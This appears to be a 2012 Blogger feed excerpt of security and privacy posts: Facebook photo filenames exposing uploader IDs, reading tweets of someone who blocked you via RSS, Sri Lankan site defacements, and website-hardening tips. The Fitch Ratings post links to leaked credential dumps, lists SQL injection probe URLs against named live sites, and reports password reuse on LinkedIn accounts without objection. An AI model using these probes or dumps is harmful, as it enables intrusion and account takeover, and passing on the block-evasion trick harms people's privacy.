scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Facebook Hides Profile ID From Facebook Photos.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDC5uYffoHRGfChYCh-X8SWCeOz5hJkJdlUvbTOLs2-I1hRObjAO65565ZIyZeQcNkqkOKnClv7vj_GSY9XXtpEDX39f0Rf863RfseOmPPSyM9dnbG1jrakF1Dy4_UaTc08ZuYJp1Ig-c/s1600/mean-friend-facebook-hidden-800x800.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;220&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDC5uYffoHRGfChYCh-X8SWCeOz5hJkJdlUvbTOLs2-I1hRObjAO65565ZIyZeQcNkqkOKnClv7vj_GSY9XXtpEDX39f0Rf863RfseOmPPSyM9dnbG1jrakF1Dy4_UaTc08ZuYJp1Ig-c/s320/mean-friend-facebook-hidden-800x800.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
If you remember during the beginning of this year there was talk about Facebook not deleting the photos from their servers even after the original uploader has deleted the photo&amp;nbsp; from their Facebook profile.&lt;br /&gt;
&lt;br /&gt;
The even the photos were deleted the photos were accessible from their direct link. You can read the post on Ars Technica here : &lt;a href=&quot;http://arstechnica.com/business/2012/02/nearly-3-years-later-deleted-facebook-photos-are-still-online/&quot;&gt;http://arstechnica.com/business/2012/02/nearly-3-years-later-deleted-facebook-photos-are-still-online&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The problem was not just that, Facebook used name the photos according to a pattern. A typical uploaded photo file-name would be like this 531569_441667149197909_1575717973_120210_n.jpg. I can&#39;t remember the exact order, but the filename contained the photo ID, Album ID, Profile ID and another set of numbers. The 3rd set of numbers is the profile ID of the person who uploaded the photo.&lt;br /&gt;
&lt;br /&gt;
So if you uploaded a photo on Facebook, and deleted it later, because Facebook doesn&#39;t delete the photos from their servers and can be accessed with the direct link, someone with the direct link to the picture can find who uploaded the photo by getting the profile ID from the file name (the 3rd set of numbers of the filename) and and putting the ID next to &lt;span style=&quot;color: #274e13;&quot;&gt;http://facebook.com/profile.php?id=&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The same can be said about private photos, because even the private photos can be access via a direct like and can be used ti find the profile who uploaded the photo by using the profile ID from the filename. And if the photos are pretty embarrassing ones this is not a good thing for user privacy. Like it has been talked in the &lt;a href=&quot;http://arstechnica.com/business/2012/02/nearly-3-years-later-deleted-facebook-photos-are-still-online/&quot; target=&quot;_blank&quot;&gt;Ars Technica article&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
IT appears that Facebook is doing something good by removing the profile ID from the photo filename. Now it appears that in the new form of a file name there is only 3 set of numbers not 4, with profile ID removed.&lt;br /&gt;
&lt;br /&gt;
The new Facebook image file name looks like this : &lt;a href=&quot;http://427018_10151148496151788_137259437_n.jpg/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://m.ak.fbcdn.net/a2.sphotos.ak/hphotos-ak-snc7/s480x480/427018_10151148496151788_137259437_n.jpg&quot;&gt;427018_10151148496151788_137259437_n.jpg&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
It apears that Facebook is also renaming the current uploaded photos removing the profile ID. So now there is no chance of finding out the uploader of the photo using the filename of the photo. Although the the 3rd set of numbers of the newly photo filenames sometime will lead you to profiles but they are not the original uploader&#39;s profile.&lt;br /&gt;
&lt;br /&gt;
At least this is a small improvement of Facebook privacy although there are worst privacy things happening on Facebook.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Irish Data Protection Commissioner Abruptly Ends Facebook Investigation – Via Text :&lt;/b&gt; &lt;a href=&quot;http://facebookprivacyandsecurity.wordpress.com/2012/07/30/irish-data-protection-commissioner-abruptly-ends-facebook-investigation-via-text/&quot;&gt;http://facebookprivacyandsecurity.wordpress.com/2012/07/30/irish-data-protection-commissioner-abruptly-ends-facebook-investigation-via-text/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/7384899306849130508/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/facebook-hides-profile-id-from-facebook-photos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7384899306849130508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7384899306849130508'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/facebook-hides-profile-id-from-facebook-photos.html' title='Facebook Hides Profile ID From Facebook Photos.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDC5uYffoHRGfChYCh-X8SWCeOz5hJkJdlUvbTOLs2-I1hRObjAO65565ZIyZeQcNkqkOKnClv7vj_GSY9XXtpEDX39f0Rf863RfseOmPPSyM9dnbG1jrakF1Dy4_UaTc08ZuYJp1Ig-c/s72-c/mean-friend-facebook-hidden-800x800.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-1895773933394095477</id><published>2012-07-28T19:44:00.001+05:30</published><updated>2012-07-28T20:06:05.808+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Intelligence"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><category scheme="http://www.blogger.com/atom/ns#" term="Tips"/><category scheme="http://www.blogger.com/atom/ns#" term="Twitter"/><title type='text'>If You Can&#39;t Follow Them Subscribe Them.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCYfmC5LmkmJ04a8AyLcVMZz-WY7bTq_sGb-9394Luo03tFL9VeoVhMhK69oBHAx0FTafb5fiH_LIlJxn4oLFEatux8cU5A76fuv6QZEnvU-TT28FsZSvlkrdTxlAiknzParV8jrHpW-k/s1600/141.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCYfmC5LmkmJ04a8AyLcVMZz-WY7bTq_sGb-9394Luo03tFL9VeoVhMhK69oBHAx0FTafb5fiH_LIlJxn4oLFEatux8cU5A76fuv6QZEnvU-TT28FsZSvlkrdTxlAiknzParV8jrHpW-k/s320/141.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Twitter users can block people that they don&#39;t like and sometimes it&#39;s pretty hard to keep in track of what they tweet. Few months ago you could follow the account if you made a separate tab on TweetDeck or just visited the profile of the user that blocked you. &lt;br /&gt;
&lt;br /&gt;
But unfortunately, Twitter has removed that feature and now you can&#39;t see Tweets of a blocked user if you are logged into Twitter. Either someone who you follow must retweet a tweet from the user that blocked you in order to see it, or you have to log off from your twitter account and go to the profile of the user that blocked you to see the Tweets. but in either ways you can&#39;t keep in track with that persons Tweets specially when you are logged in from your mobile device.&lt;br /&gt;
&lt;br /&gt;
There is another way to keep in track, by subscribing to the person&#39;s Tweets, if you can&#39;t follow them subscribe them. Here ow it&#39;s gonna work.&lt;br /&gt;
&lt;br /&gt;
Twitter used to have an RSS feed of someone&#39;s Tweets. The RSS feed just got hidden from the profile as the time went on and now you can&#39;t find the RSS feed of the users&#39; profile.&lt;br /&gt;
&lt;br /&gt;
But the RSS feed of a person is still accessible and whether he has blocked you or not the RSS feed show all the tweets from that person. &lt;br /&gt;
&lt;br /&gt;
To see the RSS feed all you need to know is that persons Twitter user Id, if you don&#39;t know the Twitter ID of the person that blocked you, you can use &lt;a href=&quot;http://www.idfromuser.com/&quot;&gt;http://www.idfromuser.com/&lt;/a&gt;. Type the username and it will give you the Twitter ID of the person.&lt;br /&gt;
&lt;br /&gt;
Now you can find the RSS feed like this : https://twitter.com/statuses/user_timeline/[user id].rss&lt;br /&gt;
&lt;br /&gt;
Replace the &quot;user id&quot; with the ID of the person that has blocked you and you will have his RSS feed.&lt;br /&gt;
&lt;br /&gt;
For example you can see the RSS feed of &lt;a href=&quot;http://twitter.com/th3j35t3r&quot;&gt;@th3j35t3r&lt;/a&gt; here : &lt;a href=&quot;https://twitter.com/statuses/user_timeline/97994396.rss&quot;&gt;https://twitter.com/statuses/user_timeline/97994396.rss &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Here &lt;a href=&quot;http://twitter.com/th3j35t3r&quot;&gt;@th3j35t3r&#39;s&lt;/a&gt; Twitter ID is : 97994396&lt;br /&gt;
&lt;br /&gt;
Now you can subscribe to this RSS feed from your browser or RSS reader like Google Reader and you will have realtime Twitter update from that user. &lt;br /&gt;
&lt;br /&gt;
I&#39;ve tried this with people having personal Twitter accounts and it didn&#39;t work.</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/1895773933394095477/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/if-you-cant-follow-them-subscribe-them.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1895773933394095477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1895773933394095477'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/if-you-cant-follow-them-subscribe-them.html' title='If You Can&#39;t Follow Them Subscribe Them.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCYfmC5LmkmJ04a8AyLcVMZz-WY7bTq_sGb-9394Luo03tFL9VeoVhMhK69oBHAx0FTafb5fiH_LIlJxn4oLFEatux8cU5A76fuv6QZEnvU-TT28FsZSvlkrdTxlAiknzParV8jrHpW-k/s72-c/141.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-1504552289736498527</id><published>2012-07-26T21:01:00.002+05:30</published><updated>2012-07-26T21:12:17.677+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Sri Lanka"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>The Hacked List Continues : Daily Mirror Website Hacked.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaH2qkDNP9XA_bhW5rs-UfLFTrrHJPonVWhI2-TZz6cw7llam_1hU_mYuj8d_xTVoRWftR0YxEqjcUHMMEQA4wrzEQxDUBkze96oGK9qn3_hlleqyveHYxnHFKvDSvZD0eAhZyjJSHk6M/s1600/Screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;194&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaH2qkDNP9XA_bhW5rs-UfLFTrrHJPonVWhI2-TZz6cw7llam_1hU_mYuj8d_xTVoRWftR0YxEqjcUHMMEQA4wrzEQxDUBkze96oGK9qn3_hlleqyveHYxnHFKvDSvZD0eAhZyjJSHk6M/s400/Screenshot.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
If you are having a websites it&#39;s a must to audit the website for security vulnerabilities from time to time, or at least check the log files for suspicious activities. If not there is likely chance that your website will get pwned (owned) by hackers. &lt;br /&gt;
&lt;br /&gt;
Actually these days I&#39;m digging up and going through Sri Lankan websites hacking news and hacking attempts. So most of the time when I&#39;m bored I&#39;m spending my time on Google. I&#39;ve made a small Google group to archive cyber crime news and data breaches occurring mainly on Sri Lanka. &lt;a href=&quot;http://groups.google.com/group/techyzilla&quot;&gt;You can visit the TechyZilla group here.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So anyway when I was dining on Google today I found out the &lt;a href=&quot;http://dailymirror.lk/&quot;&gt;Daily Mirror&lt;/a&gt; which is one of the most popular news websites was hacked. The &lt;a href=&quot;http://dailymirror.lk/&quot; target=&quot;_blank&quot;&gt;DailyMirror&lt;/a&gt; website is so popular a single news gets an average of 7000 views.&lt;br /&gt;
&lt;br /&gt;
The hackers have defaced a page (&lt;a href=&quot;http://community.dailymirror.lk/&quot;&gt;community.dailymirror.lk&lt;/a&gt;) of the website and have left a message warning the website is vulnerable. From the look of the defacement it apears the hackers are from Algeria. What&#39;s up with Algerian hackers and Sri Lankan websites anyway? &lt;a href=&quot;http://outcastlife.wordpress.com/2012/07/07/who-hacked-mahamevnawa-who-are-the-algerian-dz-hackers-all-explained/&quot;&gt;http://outcastlife.wordpress.com/2012/07/07/who-hacked-mahamevnawa-who-are-the-algerian-dz-hackers-all-explained/&lt;br /&gt;
&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So the problem is do web admins don&#39;t check their website for vulnerabilities from time to time? or check the logs for suspicious activities? And I don&#39;t know date the hackers defaced the website.&lt;br /&gt;
&lt;br /&gt;
Checking at the source code of the defaced page &lt;a href=&quot;http://community.dailymirror.lk/&quot;&gt;community.dailymirror.lk&lt;/a&gt; there is a line &lt;span style=&quot;color: #38761d; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;BUNDA6 | mami 5 | English (United States) | 11/7/2010 2:35:59 PM &lt;/span&gt; I think this is the date the defacement page was created by the hackers, not the actual hacking date. But still I think that the website was hacked some time before.  &lt;br /&gt;
&lt;br /&gt;
And because the defacement is still there and the admins haven&#39;t done anything about it, it&#39;s safe to assume that the website vulnerability that hackers used to gain access to the website and backdoors hackers have left behind in the website to access late might still be there unpatched.&lt;br /&gt;
&lt;br /&gt;
There are so many Sri Lankan websites that are hacked and are still out there without admins knowing about it. I&#39;ve posted this because &lt;a href=&quot;http://dailymirror.lk/&quot;&gt;DailyMirror&lt;/a&gt; is one of the biggest websites in Sri Lanka. &lt;br /&gt;
&lt;br /&gt;
So the lesson to learn here is that admins need to check for vulnerabilities and security holes of their websites frequently and keep things up to date and patched. So bad guys won&#39;t break in.&lt;br /&gt;
&lt;br /&gt;
I&#39;ve also found this that Sunday Times news paper website, which is another popular Sri Lankan news website was also hacked and the hackers have posted the passwords of the cPanel being posted on pastebin. But it appears that Sunday Times was quick to patch the SQL injection vulnerability. &lt;br /&gt;
&lt;br /&gt;
You can check the paste of Sunday Times Website hacking here : &lt;a href=&quot;http://nopaste.me/raw/738966231501161f8815b0.txt&quot;&gt;http://nopaste.me/raw/738966231501161f8815b0.txt&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/1504552289736498527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/the-hacked-list-countinues-daily-mirror-hacked.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1504552289736498527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1504552289736498527'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/the-hacked-list-countinues-daily-mirror-hacked.html' title='The Hacked List Continues : Daily Mirror Website Hacked.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaH2qkDNP9XA_bhW5rs-UfLFTrrHJPonVWhI2-TZz6cw7llam_1hU_mYuj8d_xTVoRWftR0YxEqjcUHMMEQA4wrzEQxDUBkze96oGK9qn3_hlleqyveHYxnHFKvDSvZD0eAhZyjJSHk6M/s72-c/Screenshot.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-5157714979523704240</id><published>2012-07-23T20:47:00.001+05:30</published><updated>2012-07-25T23:26:35.235+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Anonymous"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Sri Lanka"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Fitch Rating Sri Lanka Website Hacked. EnterSys Web Developer Bug?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg25PegfDOf-VfRamsIIm_mnuiFXzlcd9HRLris0pefOxq6BR3eNO32oY4qP7dXCqQ1vVtBClGoignF2hl91w4lz8GvnSvzxTKB9nozm9nPvQFNPQzUHMq6dPBGfHWvwXHSTJdyS8zWf0U/s1600/Screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;151&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg25PegfDOf-VfRamsIIm_mnuiFXzlcd9HRLris0pefOxq6BR3eNO32oY4qP7dXCqQ1vVtBClGoignF2hl91w4lz8GvnSvzxTKB9nozm9nPvQFNPQzUHMq6dPBGfHWvwXHSTJdyS8zWf0U/s400/Screenshot.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The &lt;a href=&quot;http://www.fitchratings.lk/&quot; target=&quot;_blank&quot;&gt;Fitch Rating Sri Lanka website&lt;/a&gt; was hacked by followers of Anonymous hackers calling themselves Wall Road Hackers.&lt;br /&gt;
&lt;br /&gt;
The hacking has taken place January 2012, there is no news or anything regarding the hacking. The only thing there is the paste made by hackers on &lt;a href=&quot;http://nopaste.me/paste/312527981500d0ad054410&quot; target=&quot;_blank&quot;&gt;pastebin&lt;/a&gt;. ( I stumbled upon this paste accidentally)&lt;br /&gt;
&lt;br /&gt;
So did this hacking too went unnoticed? Like it happened in Gamer.lk hacking where the hacking went unnoticed for 3 months.&lt;br /&gt;
&lt;br /&gt;
The Wall Road hackers have hacked few banks and financial websites, stating that they are against this unfair financial system. The Fitch Rating Sri Lanka is the only website in Sri Lanka to get hacked by Wall Road hackers.&lt;br /&gt;
&lt;br /&gt;
The problem is not only that, the &lt;a href=&quot;http://www.fitchratings.lk/&quot; target=&quot;_blank&quot;&gt;website of Fitch Rating Sri Lanka&lt;/a&gt; is developed by web developers called &lt;a href=&quot;http://entersys.lk/&quot; target=&quot;_blank&quot;&gt;Enter Sys&lt;/a&gt;. Two popular news websites developed by EnterSys was also hacked in mid May 2012. So is there a security hole in websites made by Enter Sys? a security hole in the content management system or SQL injection vulnerability etc? Is there a chance that all the websites made by EnterSys having this vulnerability?&lt;br /&gt;
&lt;br /&gt;
The dump of the &lt;a href=&quot;http://www.fitchratings.lk/&quot; target=&quot;_blank&quot;&gt;Fitch Ratings Sri Lanka&lt;/a&gt; contains nearly 1000 email addresses, names and passwords. The email addresses belong to bankers representing different banks in the country. The people who are in thing list might be important people in banking sector of Sri Lanka.&lt;br /&gt;
&lt;br /&gt;
So it&#39;s important for the people on the list to change their passwords on if they are using the same password they&#39;ve used for &lt;a href=&quot;http://www.fitchratings.lk/&quot; target=&quot;_blank&quot;&gt;Fitch Ratings Sri Lanka&lt;/a&gt; on other websites like their Facebook, email ect.&lt;br /&gt;
&lt;br /&gt;
And it&#39;s important for EnterSys too to look in to their website to find if there are any security holes. I will update this post if I find anything new.&lt;br /&gt;
&lt;br /&gt;
The Fitch Rating Sri Lanka website dump : &lt;a href=&quot;http://nopaste.me/paste/312527981500d0ad054410&quot;&gt;http://nopaste.me/paste/312527981500d0ad054410&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The full dump of Wall Road hackers : &lt;a href=&quot;http://nopaste.me/paste/214995283500d680b39cc6&quot;&gt;http://nopaste.me/paste/214995283500d680b39cc6&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Join the Google Group to get the news that doesn&#39;t make it to the blog : &lt;a href=&quot;http://groups.google.com/group/techyzilla&quot;&gt;http://groups.google.com/group/techyzilla&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Looks like almost all websites developed by EnterSys suffers from SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The hackers must have used the SQL injection vulnerability to hacked in to the popular newspaper websites developed by EnterSys and FitchRating Lanka websites. Because SQL injection is one of the basic and easy to exploit vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Although other sites developed by EnterSys&amp;nbsp; are still not been exploited, the websites I checked are vulnerable.&lt;br /&gt;
&lt;br /&gt;
And I hope all these websites are not vulnerable : &lt;a href=&quot;http://www.entersys.lk/clients-1.html&quot;&gt;http://www.entersys.lk/clients-1.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Proof of concept :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.appoloy.com/news.php?news_id=72%27&quot; target=&quot;_blank&quot;&gt;http://www.appoloy.com/news.php?news_id=72&#39; &lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.gestetnersl.com/product-details.php?product_id=69%20%27&quot;&gt;http://www.gestetnersl.com/product-details.php?product_id=69%20%27&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update 2 :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Looks like some users&amp;nbsp; of the Fitch Rating Lanka Database dump are using the same passwords for their other online accounts as well, a Twitter follower tweeted me that he gained access to some LinkedIn accounts using the password they&#39;ve used for Fitch Rating Lanka website.</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/5157714979523704240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/fitch-rating-sri-lanka-website-hacked.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/5157714979523704240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/5157714979523704240'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/fitch-rating-sri-lanka-website-hacked.html' title='Fitch Rating Sri Lanka Website Hacked. EnterSys Web Developer Bug?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg25PegfDOf-VfRamsIIm_mnuiFXzlcd9HRLris0pefOxq6BR3eNO32oY4qP7dXCqQ1vVtBClGoignF2hl91w4lz8GvnSvzxTKB9nozm9nPvQFNPQzUHMq6dPBGfHWvwXHSTJdyS8zWf0U/s72-c/Screenshot.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-7292272225984138286</id><published>2012-07-20T23:42:00.000+05:30</published><updated>2012-07-21T10:19:02.373+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Malware"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>How To Prevent Your Website From Getting Hacked.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgICOrY-tfgZPQxLB3WnYb3yUklBMppmyz-pb1l7nIUHp6Pg-V-TKAQhJ0Q02Scf_wvNpKMNaCsRG5v6BufMPwjebbo9s6wUlA8hFRPbjYiRL5sF4uITzigIunDQ4QsNos725A3nZ331To/s1600/hackers21.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgICOrY-tfgZPQxLB3WnYb3yUklBMppmyz-pb1l7nIUHp6Pg-V-TKAQhJ0Q02Scf_wvNpKMNaCsRG5v6BufMPwjebbo9s6wUlA8hFRPbjYiRL5sF4uITzigIunDQ4QsNos725A3nZ331To/s320/hackers21.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;After seeing what happened with &lt;a href=&quot;http://gamer.lk/&quot;&gt;Gamer.lk&lt;/a&gt; I decided to write a post about how to prevent your website from getting hacked.&lt;br /&gt;
&lt;br /&gt;
There are hundreds of ways hackers use to hack websites. I&#39;m going to talk how to prevent your website from getting hacked by some of the most commonly used ways by day to day hackers.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Keep It Simple. &lt;/h4&gt;&lt;br /&gt;
If you ave a website, the best thing is to keep it simple. Do not install unwanted plugins and themes that you don&#39;t need. Insecure plugins and themes are the most common ways hackers gain access to websites. It might be a SQL injection, a local or remote file inclusion or an insecure file uploading in themes and plugins.&lt;br /&gt;
&lt;br /&gt;
When it comes to content management systems like WordPress and Joomla, they are pretty much secure until you install pulgins and insecure themes that put you at risk. Remember the &lt;a href=&quot;http://markmaunder.com/2011/08/02/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/&quot;&gt;TimThumb&lt;/a&gt;, and &lt;a href=&quot;http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/&quot;&gt;AddThis plugin&lt;/a&gt; vulnerabilities that put thousands of WordPress blogs at risk?&lt;br /&gt;
&lt;br /&gt;
Exploits within a software like WordPress are pretty rare, and in WordPress plugins they are very common and if you don&#39;t need them don&#39;t use them. Only use plugins and extension what you need for your website.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Keep Things Up To Date.&lt;/h4&gt;&lt;br /&gt;
This is something that most people don&#39;t do, or ignore of doing. Keeps your themes, plugins and software up to date. If I was a hacker the first thing I would look at is what are the software that you are using for your website (WordPress, Joomla etc) and the plugins and themes. Then I will look at the versions of them and try to find vulnerabilities that people have posted on vulnerability databases. &lt;br /&gt;
&lt;br /&gt;
So keep things up to date. Even tech people forget or ignore updating their websites and don&#39;t know until they are hacked. &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://nakedsecurity.sophos.com/2009/08/13/robert-scoble-fails-update-wordpress-hacked/&quot;&gt;Robert Scoble fails to update WordPress, gets hacked&lt;/a&gt;&lt;br /&gt;
&lt;h4&gt;&lt;br /&gt;
&lt;/h4&gt;&lt;h4&gt;Use Strong Passwords.&lt;/h4&gt;&lt;br /&gt;
If you are the admin of a website, use strong passwords. Do not use hard to guess passwords and dictionary words. &lt;br /&gt;
&lt;br /&gt;
If your website allow users to register, make sure the passwords are stored as salted hashes. Using just hashed passwords are not enough. For an example 60% of the hacked LinkedIn passwords were cracked within 24 hours after posting on the internet. So salting your password on top of hashing is a must. &lt;br /&gt;
&lt;h4&gt;&lt;br /&gt;
&lt;/h4&gt;&lt;h4&gt;What to do after getting hacked? &lt;/h4&gt;&lt;br /&gt;
These are just one of the few small things that can help you to protect your website being hacked. But what can you do after your website is hacked?&lt;br /&gt;
&lt;br /&gt;
If your website is hacked, try to find how your website was hacked, there might be some information on server logs, try to find out how the website got hacked. And make sure you get that security hole patched. So hacker can&#39;t exploit it in the future.&lt;br /&gt;
&lt;br /&gt;
If it&#39;s because of a plugin or an extension, make sure you installed the latest update of it. &lt;br /&gt;
&lt;br /&gt;
Another interesting thing hackers do is, once they hack a website using a certain vulnerability is to close that vulnerability and make a new one for them to access later, or just make a new vulnerability like putting a backdoor code within a normal page of a website. So even after you found the hole that hackers used to hack your website it&#39;s also better to check your whole website for back doors hackers have made later.&lt;br /&gt;
&lt;br /&gt;
There is noting to be ashamed of getting hacked. Bigger websites on the internet has suffered hacking attacks.&lt;br /&gt;
&lt;br /&gt;
If your website is a website that interacts with users, tell your users you got hacked, how you got hacked and what the hackers did to your website. Because most responsible websites do that. &lt;br /&gt;
